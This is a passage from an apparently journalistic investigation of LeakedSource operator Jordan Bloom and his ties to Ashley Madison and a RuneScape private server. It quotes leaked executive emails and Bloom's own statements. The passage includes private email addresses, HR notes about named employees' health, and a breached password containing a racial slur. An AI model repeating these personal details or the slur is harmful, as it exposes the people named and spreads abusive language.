The message goes on to say the website will no longer “encourage, facilitate, enable or condone (i) any infringement of copyright in RuneScape or any other Jagex product; nor (ii) any breach of the terms and conditions of RuneScape or any other Jagex product.”
A scene from the MMORPG RuneScape.
Near Reality also has a Facebook page that was last updated in 2019, when its owner posted a link to a news story about Defiant Tech’s guilty plea in the LeakedSource investigation. That Facebook page indicates Bloom also went by the nickname “Agentjags.”
“Just a quick PSA,” reads a post to the Near Reality Facebook page dated Jan. 21, 2018, which linked to a story about the charges against Bloom and a photo of Bloom standing in front of his lime-green Lamborghini. “Agentjags has got involved in some shady shit that may have compromised your personal details. I advise anyone who is using an old NR [Near Reality] password for anything remotely important should change it ASAP.”
By the beginning of 2016, Bloom was nowhere to be found, and was suspected of having fled his country for the Caribbean, according to the people commenting on the Near Reality Facebook page:
“Jordan aka Agentjags has gone missing,” wrote a presumed co-owner of the Facebook page. “He is supposedly hiding in St. Lucia, doing what he loved, scuba-diving. Any information to his whereabouts will be appreciated.”
KrebsOnSecurity ran the unusual nickname “AgentJags” through a search at Constella Intelligence, a commercial service that tracks breached data sets. That search returned just a few dozen results — and virtually all were accounts at various RuneScape-themed sites, including a half-dozen accounts at Abusewith[.]us.
Constella found other “AgentJags” accounts tied to the email address ownagegaming1@gmail.com. The marketing firm Apollo.io experienced a data breach several years back, and according to Apollo the email address ownagegaming1@gmail.com belongs to Jordan Bloom in Ontario.
Constella also revealed that the password frequently used by ownagegaming1@gmail.com across many sites was some variation on “niggapls,” which my 2017 report found was also the password used by the administrator of LeakedSource.
Constella discovered that the email eric.malek@rogers.com comes up when one searches for “AgentJags.” This is curious because emails leaked from Ashley Madison’s then-CEO Biderman show that Eric Malek from Toronto was the Ashley Madison employee who initially recommended Bloom for the PHP developer job.
According to DomainTools.com, Eric.Malek@rogers.com was used to register the domain devjobs.ca, which previously advertised “the most exciting developer jobs in Canada, delivered to you weekly.” Constella says eric.malek@rogers.com also had an account at Abusewith[.]us — under the nickname “Jags.”
Biderman’s email records show Eric Malek was also a PHP developer for Ashley Madison, and that he was hired into this position just a few months before Bloom — on Sept. 2, 2014. The CEO’s leaked emails show Eric Malek resigned from his developer position at Ashley Madison on June 19, 2015.
“Please note that Eric Malek has resigned from this position with Avid and his last day will be June 19th,” read a June 5, 2015 email from ALM’s HR director. “He is resigning to deal with some personal issues which include health issues. Because he is not sure how much time it will take to resolve, he is not requesting a leave of absence (his time off will be indefinite). Overall, he likes the company and plans to reach out to Trevor or I when the issues are resolved to see what is available at that time.”
A follow-up email from Biderman demanded, “want to know where he’s truly going….,” and it’s unclear whether there was friction with Malek’s departure. But ALM General Counsel Avi Weisman replied indicating that Malek probably would not sign an “Exit Acknowledgment Form” prior to leaving, and that the company had unanswered questions for Malek.
“Aneka should dig during exit interview,” Weisman wrote. “Let’s see if he balks at signing the Acknowledgment.”
Bloom’s departure notice from Ashley Madison’s HR person, dated June 23, 2015, read:
“Please note that Jordan Bloom has resigned from his position as PHP Developer with Avid. He is leaving for personal reasons. He has a neck issue that will require surgery in the upcoming months and because of his medical appointment schedule and the pain he is experiencing he can no longer commit to a full-time schedule. He may pick up contract work until he is back to 100%.”
A follow-up note to Biderman about this announcement read:
“Note that he has disclosed that he is independently wealthy so he can get by without FT work until he is on the mend. He has signed the Exit Acknowledgement Form already without issue. He also says he would consider reapplying to Avid in the future if we have opportunities available at that time.”
Perhaps Mr. Bloom hurt his neck from craning it around blind spots in his Lamborghini. Maybe it was from a bad scuba outing. Whatever the pain in Bloom’s neck was, it didn’t stop him from launching himself fully into LeakedSource[.]com, which was registered roughly one month after the Impact Team leaked data on 37 million Ashley Madison accounts.
Mr. Malek declined a request for comment. A now-deleted LinkedIn profile for Malek from December 2018 listed him as a “technical recruiter” from Toronto who also attended Mr. Bloom’s alma mater — York University. That resume did not mention Mr. Malek’s brief stint as a PHP developer at Ashley Madison.
“Developer, entrepreneur, and now technical recruiter of the most uncommon variety!” Mr. Malek’s LinkedIn profile enthused. “Are you a developer, or other technical specialist, interested in working with a recruiter who can properly understand your concerns and aspirations, technical, environmental and financial? Don’t settle for a ‘hack’; this is your career, let’s do it right! Connect with me on LinkedIn. Note: If you are not a resident of Canada/Toronto, I cannot help you.”
Mr. Bloom told KrebsOnSecurity he had no role in harming or hacking Ashley Madison. Bloom validated his identity by responding at one of the email addresses mentioned above, and agreed to field questions so long as KrebsOnSecurity agreed to publish our email conversation in full (PDF).
Bloom said Mr. Malek did recommend him for the Ashley Madison job, but that Mr. Malek also received a $5,000 referral bonus for doing so. Given Mr. Malek’s stated role as a technical recruiter, it seems likely he also recommended several other employees to Ashley Madison.
Bloom was asked whether anyone at the RCMP, Ashley Madison or any authority anywhere ever questioned him in connection with the July 2015 hack of Ashley Madison. He replied that he was called once by someone claiming to be from the Toronto Police Service asking if he knew anything about the Ashley Madison hack.
“The AM situation was not something they pursued according to the RCMP disclosure,” Bloom wrote. “Learning about the RCMP’s most advanced cyber investigative techniques and capabilities was very interesting though. I was eventually told information by a third party which included knowledge that law enforcement effectively knew who the hacker was, but didn’t have enough evidence to proceed with a case. That is the extent of my involvement with any authorities.”
As to his company’s guilty plea for operating LeakedSource, Bloom maintains that the judge at his preliminary inquiry found that even if everything the Canadian government alleged was true it would not constitute a violation of any law in Canada with respect the charges the RCMP leveled against him, which included unauthorized use of a computer and “mischief to data.”
“In Canada at the lower court level we are allowed to possess stolen information and manipulate our copies of them as we please,” Bloom said. “The judge however decided that a trial was required to determine whether any activities of mine were reckless, as the other qualifier of intentionally criminal didn’t apply. I will note here that nothing I was accused of doing would have been illegal if done in the United States of America according to their District Attorney. +1 for free speech in America vs freedom of expression in Canada.”
“Shortly after their having most of their case thrown out, the Government proposed an offer during a closed door meeting where they would drop all charges against me, provide full and complete personal immunity, and in exchange the Corporation which has since been dissolved would plead guilty,” Bloom continued. “The Corporation would also pay a modest fine.”
Bloom said he left Ashley Madison because he was bored, but he acknowledged starting LeakedSource partly in response to the Ashley Madison hack.
“I intended to leverage my gaming connections to get into security work including for other private servers such as Minecraft communities and others,” Bloom said. “After months of asking management for more interesting tasks, I became bored. Some days I had virtually nothing to do except spin in my chair so I would browse the source code for security holes to fix because I found it enjoyable.”
“I believe the decision to start LS [LeakedSource] was partly inspired by the AM hack itself, and the large number of people from a former friend group messaging me asking if XYZ person was in the leak after I revealed to them that I downloaded a copy and had the ability to browse it,” Bloom continued. “LS was never my idea – I was just a builder, and the only Canadian. In other countries it was never thought to be illegal on closer examination of their laws.”
Bloom said he still considers himself independently wealthy, and that still has the lime green Lambo. But he said he’s currently unemployed and can’t seem to land a job in what he views as his most promising career path: Information security.
“As I’m sure you’re aware, having negative media attention associated with alleged (key word) criminal activity can have a detrimental effect on employment, banking and relationships,” Bloom wrote. “I have no current interest in being a business owner, nor do I have any useful business ideas to be honest. I was and am interested in interesting Information Security/programming work but it’s too large of a risk for any business to hire someone who was formerly accused of a crime.”
If you liked this story, please consider reading the first two pieces in this series:
SEO Expert Hired and Fired by Ashley Madison Turned on Company, Promising Revenge
Top Suspect in 2015 Ashley Madison Hack Committed Suicide in 2014
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